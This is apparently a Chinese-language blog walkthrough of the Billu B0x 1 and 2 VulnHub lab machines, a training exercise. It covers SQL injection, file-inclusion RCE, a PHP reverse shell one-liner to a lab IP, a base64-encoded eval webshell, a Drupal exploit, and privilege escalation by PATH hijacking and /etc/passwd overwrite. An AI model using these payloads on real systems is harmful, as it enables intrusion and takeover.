【vlunhub】BILLU:B0X1+2
个人测评:
趣味:2星+1星(one piece)
难度:3星
技巧:3星
两个靶机,分别玩一下,感觉年份都有点老了
billu b0x1
信息搜集
17年发布的靶机,先信息搜集一波
进行简单的目录扫描
其中我们能看到一个phpmyadmin的后台,一个phpinfo页面
sql注入到getshell
成功登陆进去,后面用\将单引号转义后成为注释
随后是一个上传的页面
这里的上传点对后缀进行了白名单校验
所以上传shell比较局限
发现这里load参数后面跟的好像是add.php
果然有个文件包含
也是能成功包含到上传上去的jpg来rce
如何反弹shell
经过一些尝试,用proc_open
拿到了相对持久的终端
1 | $sock=fsockopen("192.168.56.102",4445);$proc=proc_open("/bin/bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); |
phpmyadmin
其实刚刚我们可以看到有个叫做ica的用户
网站目录里面找数据库密码
当然可以看到他都没有设置端口,这个phpmyadmin貌似看起来不能用
当前目录下面也有一个c.php,里面也有个密码
billu b0x_billu
没想到用这个密码就能登陆进去
上面的root roottoor也能直接用ssh连上
即便不使用刚刚的包含漏洞,这里我们也能获取到这两个密码,网站目录下有个test.php也能任意文件读取
内核提权
最简单粗暴的方法
直接放到目标机器上编译运行即可
billu b0x2
信息搜集
这个靶机明显比一代复杂得多,分别再看每个端口都开了什么服务
80端口的服务,使用的是Drupal8搭建的
在扫描路径的过程中,我获得了这个drupal的详细版本号8.3.5
在kali自带的exploitdb中,也发现了很多能在这个版本上用的exp,随便挑了一个,测试成功
1 | #!/usr/bin/env |
写入webshell先,直接echo会转义
1 | echo `echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 --decode` | tee fuck.php |
蚁剑连接,反弹shell,升级shell
1 | python -c "import pty; pty.spawn('/bin/bash')" |
算是先拿到一个基础的权限
suid提权
/opt/s
简单查看一下可阅读的部分
它会调用scp这个命令
更改环境变量,让他找scp命令时先找到tmp目录下面我们建立的恶意的scp
‘
把tmp加到$PATH最前面
即可提权成功
替换/etc/passwd
之后,我找了老外对这个第二个靶机的文章学习,因为我觉得应该还有别的出路
之前我也注意到/etc/passwd里面奇怪的哈希,但没注意到他的权限
也能注意到indishell这个用户,他甚至给出了加密后的密码
用openssl生成密码
用infosec做为salt并也是密码,得到生成的密码,替换掉/etc/passwd里面的密码
我们就能替换掉indishell的密码,并且获取root权限